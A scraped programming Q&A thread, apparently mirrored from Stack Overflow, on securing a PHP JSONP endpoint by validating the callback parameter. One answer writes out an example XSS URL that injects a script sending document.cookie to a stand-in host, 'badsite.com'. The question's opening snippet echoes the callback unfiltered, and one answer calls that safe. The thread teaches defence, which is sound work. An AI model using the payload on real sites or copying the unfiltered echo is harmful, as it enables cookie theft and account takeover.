开发者

Is this safe for providing JSONP?

<?php header('content-type: application/json');

$json = json_encode($data);

echo isset($_GET['callback'])
    ? "{$_GET['callback']}($json)"
    : $json;

Or should I for example filter the $_GET['callback'] variable so that it only contains a valid JavaScript function name? If so, what are valid JavaScript function names?

Or is not filtering that variable a bit of the point with JSONP?


Current solution: Blogged about my current solution at http://www.geekality.net/?p=1021. In short, for now, I have the following code, which hopefully should be pretty safe:

<?php header('content-type: application/json; charset=utf-8');

开发者_如何学Pythonfunction is_valid_callback($subject)
{
     $identifier_syntax
       = '/^[$_\p{L}][$_\p{L}\p{Mn}\p{Mc}\p{Nd}\p{Pc}\x{200C}\x{200D}]*+$/u';

     $reserved_words = array('break', 'do', 'instanceof', 'typeof', 'case',
       'else', 'new', 'var', 'catch', 'finally', 'return', 'void', 'continue', 
       'for', 'switch', 'while', 'debugger', 'function', 'this', 'with', 
       'default', 'if', 'throw', 'delete', 'in', 'try', 'class', 'enum', 
       'extends', 'super', 'const', 'export', 'import', 'implements', 'let', 
       'private', 'public', 'yield', 'interface', 'package', 'protected', 
       'static', 'null', 'true', 'false');

     return preg_match($identifier_syntax, $subject)
         && ! in_array(mb_strtolower($subject, 'UTF-8'), $reserved_words);
}

$data = array(1, 2, 3, 4, 5, 6, 7, 8, 9);
$json = json_encode($data);

# JSON if no callback
if( ! isset($_GET['callback']))
     exit( $json );

# JSONP if valid callback
if(is_valid_callback($_GET['callback']))
     exit( "{$_GET['callback']}($json)" );

# Otherwise, bad request
header('Status: 400 Bad Request', true, 400);


No, if you intend to limit the JSONP to select domains. Specify the encoding too or people who shouldn't be able to access the JSON can possibly do UTF-7 injection attacks. Use this header instead:

header('Content-Type: application/json; charset=utf-8');

If it's supposed to be a public JSONP service, then yes it is safe, and also use application/javascript instead of application/json.


To be safe, you should encode callback to only allow valid JS function names. Nothing complex, just don't allow end-developers to inject any javascript. Here's some code:

<?php

    header('Content-Type: application/json; charset=utf-8'); // Thanks Eli

    /**
     * Ensures that input string matches a set of whitelisted characters and
     * replaces unlisted ones with a replacement string (defaults to underscore).
     * @param string $orig The original text to filter.
     * @param string $replace The replacement string (default is underscore).
     * @param string The original text with bad characters replaced with $replace.
     * @link https://github.com/uuf6429/K2F/blob/master/K2F-DEV/core/security.php#L263
     */
    function strtoident($orig,$replace=''){
        $orig=(string)$orig;                  // ensure input is a string
        for($i=0; $i<strlen($orig); $i++){
            $o=ord($orig{$i});
            if(!(  (($o>=48) && ($o<=57))     // numbers
                || (($o>=97) && ($o<=122))    // lowercase
                || (($o>=65) && ($o<=90))     // uppercase
                || ($orig{$i}=='_')))         // underscore
                   $orig{$i}=$replace;        // check failed, use replacement
        }
        return $orig;
    }

    $json=json_encode($data)

    echo isset($_GET['callback'])
        ? strtoident($_GET['callback']).'('.$json.');'
        : $json;

?>

Edit:

The reason is to avoid hackers pointing innocent victims to:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

Which can be broken down to:

(function(){
    $(document.body).append(
        '<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'
    );
})//("whatever");

With the latter part being the json you encoded, easily cancelled out with a comment (though unnecessary for their exploit to work). Basically, the hacker gets to know the user's cookies (among other things) which helps him gain access to the user's account with your website.

Edit: UTF-8 Compatibility. In order to substantiate my claims, read here. Or:

Like UTF-16 and UTF-32, UTF-8 can represent every character in the Unicode character set. Unlike them, it is backward-compatible with ASCII and avoids the complications of endianness and byte order marks (BOM).


I think it is safe. As long as you do not echo $_GET['callback'] in another page without escaping. The one who does the request can put whatever js he wants in it, I think it will always be his problems, not yours. This page provides the definition of a valid js function name : http://www.functionx.com/javascript/Lesson05.htm

0

上一篇:

下一篇:

精彩评论

暂无评论...
验证码 换一张
取 消

最新问答

问答排行榜